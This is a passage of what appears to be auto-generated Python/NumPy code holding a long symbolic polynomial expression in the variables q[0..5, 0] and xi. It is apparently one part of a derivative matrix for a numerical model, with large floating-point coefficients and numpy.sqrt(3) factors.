0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-160351958.315909*xi**10*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(-q[3, 0] + 2*q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) + 4.44444444444444*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (-38484469995.8182*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 252839.506172839*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 1066.66666666667*(q[1, 0] - q[2, 0])**2 + 1)*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(-q[3, 0] + 2*q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0]) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)), (-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(60131984.3684659*xi**9*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi) + (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-160351958.315909*xi**10*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(-q[3, 0] - q[4, 0] + 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) + 4.44444444444444*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (-38484469995.8182*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 252839.506172839*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 1066.66666666667*(q[1, 0] - q[2, 0])**2 + 1)*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*numpy.sqrt(3)*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*numpy.sqrt(3)*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*numpy.sqrt(3)*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(-q[3, 0] - q[4, 0] + 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0]) + 4.44444444444444*numpy.sqrt(3)*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)), 0, 0, 0, 0, 0, 0, 0, 0, 0], [(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(-79.0123456790123*q[0, 0] - 79.0123456790123*q[1, 0] - 79.0123456790123*q[2, 0] - 35.5555555555555) + 22474.6227709191*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 1522090.85432679*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 60131984.3684659*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + (-12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]) + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3)*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(337119.341563786*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 31963907.9408627*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 1623563577.94858*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 51312626661.0909*(10*q[0, 0] - 5*q[1, 0] - 5*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 2844.44444444444*q[0, 0] + 1422.22222222222*q[1, 0] + 1422.22222222222*q[2, 0]) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((-25283.9506172839*q[0, 0] + 12641.975308642*q[1, 0] + 12641.975308642*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]) + 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 30441817.0865359*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 9621117498.95455*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 243534536.692287*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 3595939.64334705*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 25283.9506172839*q[0, 0]**2 + 25283.9506172839*q[0, 0]*q[1, 0] + 25283.9506172839*q[0, 